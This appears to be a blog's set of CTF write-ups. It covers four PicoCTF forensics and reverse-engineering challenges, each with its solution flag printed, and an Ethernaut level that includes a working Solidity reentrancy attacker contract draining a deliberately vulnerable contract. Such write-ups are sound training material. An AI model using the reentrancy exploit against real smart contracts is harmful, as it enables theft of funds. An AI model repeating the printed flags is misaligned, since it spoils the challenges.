PicoCTF - Sleuthkit Intro

26 Sep 2022

Challenge

Tags

PicoCTF 2021 / Forensics / sleuthkit

Description

Description Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag. Note: if you are using the webshell, download and extract the disk image into /tmpnot your home directory.

Download disk image
Access checker program: nc saturn.picoctf.net 52279

Prereguisite

mmls, which is a tool of sleuthkit used to display the partition layout of a volume system (partition tables).

Writeup

Download the file.

    
 wget https://artifacts.picoctf.net/c/114/disk.img.gz

Unzip.
```
    
 gzip -d disk.img.gz
    
```
Display the partition layout of a volume system (partition tables).
```
    
 mmls disk.img
    
```
nc saturn.picoctf.net 52279 and input 202752.
Here’s flag ! picoCTF{mm15_f7w!} ٩(^ᴗ^)۶

PicoCTF - Safe Opener

26 Sep 2022

Challenge

Tags

PicoCTF 2022 / Reverse Engineering

Description

Can you open this safe?
I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe?
Put the password you recover into the picoCTF flag format like:
picoCTF{password}

Writeup

Download the progrem SafeOpener.java. There is a method named openSafe used to check if password correct. String encodedkey is password which was transferd to byte array and encode.
We can derive the password by decoding string encodedkey. Add four lines to openSafe method.
Execute the program. Here’s flag! picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3} ٩(^ᴗ^)۶

PicoCTF - Redaction gone wrong

26 Sep 2022

Challenge

Tags

PicoCTF 2022 / Forensics

Description

Now you DON’T see me.
This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?

Prereguisite

pdftotext
You can download by sudo apt install poppler-utils.

Writeup

Download the pdf.


 wget https://artifacts.picoctf.net/c/264/Financial_Report_for_ABC_Labs.pdf

Convert pdf to txt.


 pdftotext Financial_Report_for_ABC_Labs.pdf

Grep the flag.


 cat Financial_Report_for_ABC_Labs.txt| grep pico

Here’s flag! picoCTF{C4n_Y0u_S33_m3_fully} ٩(^ᴗ^)۶

PicoCTF - Matryoshka doll

25 Sep 2022

Challenge

Tags

PicoCTF 2021 / Forensics

Description

Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What’s the final one?
Image: this

Prereguisite

Binwalk, which is a tool for searching a given binary image for embedded files and executable code.

Writeup

Download the file.

 wget https://mercury.picoctf.net/static/205adad23bf9d8303081a0e71c9beab8/dolls.jpg

Unzip the file
```
 binwalk -e dolls.jpg
    
```
Use ls command, we can see that there are one file(dolls.jpg) and one folder(_dolls.jpg.extracted). Second picture(2_c.jpg) is in _dolls.jpg.extracted/base_images.

Repeat unzip like step 2 three times.

 cd _dolls.jpg.extracted/base_images
 binwalk -e 2_c.jpg
 cd _2_c.jpg.extracted/base_images
 binwalk -e 3_c.jpg
 cd _3_c.jpg.extracted/base_images
 binwalk -e 4_c.jpg
 cd _4_c.jpg.extracted

Now If we use ls command to list all file under the folder, there is a file named flag.txt !

Here’s our flag. ٩(^ᴗ^)۶

 cat flag.txt
 # picoCTF{96fac089316e094d41ea046900197662}

Ethernaut - 10. Reentrancy

24 Sep 2022

Difficulty: 🌕🌕🌕🌑🌑

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

Untrusted contracts can execute code where you least expect it.

Fallback methods

Throw/revert bubbling

Sometimes the best way to attack a contract is with another contract.

See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Writeup

Get new instance.

Get contract’s balance.

 await getBalance(contract.address)
 // 0.001

Create a contract.

 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;

 interface IReentrance {
     function donate(address _to) external payable;
     function withdraw(uint256 _amount) external;
 }

 contract ReentrancyAttacker {
     IReentrance levelInstance;
     uint targetValue = 0.001 ether;

     constructor(address _levelInstance) {
         levelInstance = IReentrance(_levelInstance);
     }

     function attack() public {
         levelInstance.withdraw(targetValue);
     }

     fallback() external payable {
         levelInstance.withdraw(targetValue);
     }
 }

Compile and deploy with Reentrance instance address.

Donate 0.001 ether to our ReentrancyAttacker contract.

 await contract.donate('REENTRANCYATTACKER_CONTRACT_ADDRESS', {value: 0.001 })

Call attack function in the ReentrancyAttacker.
Submit instance ξ( ✿＞◡❛)

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